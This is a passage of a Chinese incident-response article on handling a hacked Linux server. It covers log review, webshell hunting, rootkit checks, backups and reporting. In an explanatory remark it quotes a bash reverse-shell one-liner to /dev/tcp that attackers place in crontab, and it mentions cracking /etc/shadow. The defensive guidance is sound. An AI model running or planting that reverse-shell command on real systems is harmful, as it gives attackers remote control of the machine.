网络安全检测|网络安全服务|网络安全扫描-香港墨客投资移动版

主页 > 业界资讯 > 网络渗透测试

服务器被黑客入侵了怎么办?(最全处理流程)(2)

不要用 crontab –l 查看 crontab(绕过检测),也有通过写 crontab 配置文件反弹Shell 的,笔者接触过几次,一般都是使用的 bash -i >& /dev/tcp/10.0.0.1/8080 0>&1。

系统日志检测

· 检查 sshd 服务配置文件 /etc/ssh/sshd_config 和系统认证日志 auth、message,判断是否为口令破解攻击。 ·

· /etc/ssh/sshd_config 文件确认认证方式。

· 确认日志是否被删除或者清理过的可能(大小判断)。

· last/lastb 可以作为辅助,不过可能不准确。

NHIDS 正常运行判断

· 是否安装:ls /etc/ossec

· 是否运行正常:ps axu |grep nhids,三个 nhids 进程则表示正常

其他攻击分析

抓取网络数据包并进行分析,判断是否为拒绝服务攻击,这里需要注意,一定要使用 -w 参数,这样才能保存成 pcap 格式导入到 wireshark,这样分析起来会事半功倍。

tcpdump -w tcpdump.log

安全相关的关键文件和数据备份(运维)

可以同步进行,使用 sftp/rsync 等将日志上传到安全的服务器:

· 打包系统日志:参考:$ tar -jcvf syslog.tar.bz2 /var/log

· 打包 Web 日志:access log

· 打包 History 日志(所有用户),参考:$ cp /home/user/,history user_history

· 打包 crontab 记录

· 打包密码文件:/etc/passwd,/etc/shadow

· 打包可疑文件、后门、Shell 信息

深入分析(安全人员)

初步锁定异常进程和恶意代码后,将受影响范围梳理清楚,封禁了入侵者对机器的控制后,接下来需要深入排查入侵原因。一般可以从 Webshell、开放端口服务等方向顺藤摸瓜。

Webshell 入侵

· 使用 Webshell_check.py 脚本检测 Web 目录:

$ python webshell_check.py /var/www/ >result.txt

· 查找 Web 目录下所有 nobody 的文件,人工分析:

$ find /var/www –user nobody >nobody.txt

· 如果能确定入侵时间,可以使用 find 查找最近时间段内变化的文件:

$ find / -type f -name "\.?*" |xargs ls -l |grep "Mar 22"

$ find / -ctime/-mtime 8

利用 Web 漏洞直接反连 Shell

分析 access.log:

· 缩小日志范围:时间,异常 IP 提取。

· 攻击行为提取:常见的攻击 exp 识别。

系统弱口令入侵

认证相关日志 auth/syslog/message 排查:

· 爆破行为定位和 IP 提取。

· 爆破是否成功确定:有爆破行为 IP 是否有 accept 记录。

如果日志已经被清理,使用工具(比如John the Ripper)爆破 /etc/passwd,/etc/shadow。

其他入侵

其他服务器跳板到本机。

后续行为分析

· History 日志:提权、增加后门,以及是否被清理。

· Sniffer:网卡混杂模式检测 ifconfig |grep –i proc。

· 内网扫描:网络 nmap/ 扫描器,socks5 代理。

· 确定是否有 rootkit:rkhunter, chkrootkit, ps/netstat 替换确认。

后门清理排查

· 根据时间点做关联分析:查找那个时间段的所有文件。

· 一些小技巧:/tmp 目录, ls –la,查看所有文件,注意隐藏的文件。

· 根据用户做时间关联:比如 nobody。

其他机器的关联操作

其他机器和这台机器的网络连接 (日志查看)、相同业务情况(同样业务,负载均衡)。

整理事件报告(安全人员)

事件报告应包含但不限于以下几个点:

· 分析事件发生原因:事件为什么会发生的原因。

· 分析整个攻击流程:时间点、操作。

· 分析事件处理过程:整个事件处理过程总结是否有不足。

· 分析事件预防:如何避免事情再次发生。

· 总结:总结事件原因,改进处理过程,预防类似事件再次发生。

处理中遇到的比较棘手的事情 日志和操作记录全被删了,怎么办?

strace 查看 losf 进程,再尝试恢复一下日志记录,不行的话镜像硬盘数据慢慢查。这个要用到一些取证工具了,dd 硬盘数据再去还原出来。

系统账号密码都修改了,登不进去?

重启进单用户模式修改 root 密码,或者通过控制卡操作,或者直接还原系统,都搞不定就直接重装吧。

使用常见的入侵检测命令未发现异常进程,但是机器在对外发包,这是怎么回事?

这种情况下很可能常用的系统命令已经被攻击者或者木马程序替换,可以通过 md5sum 对比本机二进制文件与正常机器的 md5 值是否一致。

如果发现不一致,肯定是被替换了,可以从其他机器上拷贝命令到本机替换,或者 alias 为其他名称,避免为恶意程序再次替换。

被 getshell 怎么办?

· 漏洞修复前,系统立即下线,用内网环境访问。

· 上传点放到内网访问,不允许外网有类似的上传点,有上传点,而且没有校验文件类型很容易上传 Webshell。

· 被 getshell 的服务器中是否有敏感文件和数据库,如果有请检查是否有泄漏。

· hosts 文件中对应的 host 关系需要重新配置,攻击者可以配置 hosts 来访问测试环境。

· 重装系统。

案例分析 (责任编辑:admin)